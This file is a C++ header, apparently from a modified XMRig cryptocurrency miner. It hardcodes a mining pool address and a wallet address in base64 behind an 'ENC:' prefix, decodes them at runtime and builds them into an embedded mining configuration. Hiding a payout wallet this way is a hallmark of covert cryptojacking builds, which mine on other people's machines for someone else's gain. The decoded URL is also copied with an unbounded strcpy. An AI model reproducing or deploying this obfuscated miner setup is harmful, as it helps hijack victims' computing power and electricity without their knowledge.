#ifndef XMRIG_CONFIG_DEFAULT_H
#define XMRIG_CONFIG_DEFAULT_H

#include <stdio.h>
#include <string.h>  // for strcpy

namespace xmrig {

const char* const ENC_URL  = "ENC:cG9vbC5zdXBwb3J0eG1yLmNvbTo0NDM";
const char* const ENC_USER = "ENC:OEJYVk02RVRXWEpLTXRxSER4ZGdqRUhXOHFuZGE1YmVkNWN4UHZ1N3pnVlNYSmdIWm9nZVRBQk12WHBZU0hvUnB1Y1dkcWRGeVdneDNlM1d6SjdiNXVZVEVBc3lib0E";

inline const char* unwrap(const char* s)
{
    const char prefix0 = 'E';
    const char prefix1 = 'N';
    const char prefix2 = 'C';
    const char prefix3 = ':';
    if (!s) return s;
    if (s[0] != prefix0 || s[1] != prefix1 || s[2] != prefix2 || s[3] != prefix3) {
        return s;
    }

    const char* in = s + 4;

    static unsigned char dtab[256];
    static unsigned char init = 0;
    if (!init) {
        unsigned int i;
        for (i = 0; i < 256; ++i) dtab[i] = 255u;
        for (i = 'A'; i <= 'Z'; ++i) dtab[i] = (unsigned char)(i - 'A');
        for (i = 'a'; i <= 'z'; ++i) dtab[i] = (unsigned char)(26 + (i - 'a'));
        for (i = '0'; i <= '9'; ++i) dtab[i] = (unsigned char)(52 + (i - '0'));
        dtab[(unsigned char)'+'] = 62;
        dtab[(unsigned char)'/'] = 63;
        init = 1;
    }

    static char outbuf[2048];
    unsigned int outpos = 0;

    int val = 0;
    int valb = -8;
    unsigned char c;
    unsigned int idx = 0;
    while (1) {
        c = (unsigned char)in[idx];
        if (c == 0) break;
        if (c == '=') break;
        unsigned char v = dtab[c];
        if (v == 255u) {
            ++idx;
            continue;
        }
        val = (val << 6) + v;
        valb += 6;
        if (valb >= 0) {
            unsigned char octet = (unsigned char)((val >> valb) & 0xFF);
            if (outpos < sizeof(outbuf) - 1) {
                outbuf[outpos++] = (char)octet;
            } else {
                break;
            }
            valb -= 8;
        }
        ++idx;
    }

    if (outpos < sizeof(outbuf)) outbuf[outpos] = 0;
    else outbuf[sizeof(outbuf)-1] = 0;

    return outbuf;
}

inline const char* getEmbeddedConfig()
{
    static char buf[8192] = {0};
    const char* tmp_url = unwrap(ENC_URL);
    char url_copy[512];
    strcpy(url_copy, tmp_url ? tmp_url : "");
    const char* url = url_copy;
    const char* user = unwrap(ENC_USER);

    const char* template_str = R"===(
    {
    "api": {
        "id": null,
        "worker-id": null
    },
    "http": {
        "enabled": false,
        "host": "127.0.0.1",
        "port": 0,
        "access-token": null,
        "restricted": true
    },
    "autosave": true,
    "background": false,
    "colors": true,
    "title": true,
    "randomx": {
        "init": -1,
        "init-avx2": -1,
        "mode": "auto",
        "1gb-pages": false,
        "rdmsr": true,
        "wrmsr": true,
        "cache_qos": false,
        "numa": true,
        "scratchpad_prefetch_mode": 1
    },
    "cpu": {
        "enabled": true,
        "huge-pages": true,
        "huge-pages-jit": false,
        "hw-aes": null,
        "priority": null,
        "memory-pool": false,
        "yield": true,
        "max-threads-hint": 100,
        "asm": true,
        "argon2-impl": null,
        "cn/0": false,
        "cn-lite/0": false
    },
    "opencl": {
        "enabled": false,
        "cache": true,
        "loader": null,
        "platform": "AMD",
        "adl": true,
        "cn/0": false,
        "cn-lite/0": false
    },
    "cuda": {
        "enabled": false,
        "loader": null,
        "nvml": true,
        "cn/0": false,
        "cn-lite/0": false
    },
    "donate-level": 1,
    "donate-over-proxy": 1,
    "log-file": null,
    "pools": [
        {
            "algo": null,
            "coin": null,
            "url": "%s",
            "user": "%s",
            "pass": "x",
            "rig-id": null,
            "nicehash": false,
            "keepalive": false,
            "enabled": true,
            "tls": true,
            "tls-fingerprint": null,
            "daemon": false,
            "socks5": null,
            "self-select": null,
            "submit-to-origin": false
        }
    ],
    "print-time": 60,
    "health-print-time": 60,
    "dmi": true,
    "retries": 5,
    "retry-pause": 5,
    "syslog": false,
    "tls": {
        "enabled": false,
        "protocols": null,
        "cert": null,
        "cert_key": null,
        "ciphers": null,
        "ciphersuites": null,
        "dhparam": null
    },
    "user-agent": null,
    "verbose": 9,
    "watch": true,
    "pause-on-battery": false,
    "pause-on-active": false
}
    )===";

    snprintf(buf, sizeof(buf), template_str, url, user);
    return buf;
}

} // namespace xmrig

#endif // XMRIG_CONFIG_DEFAULT_H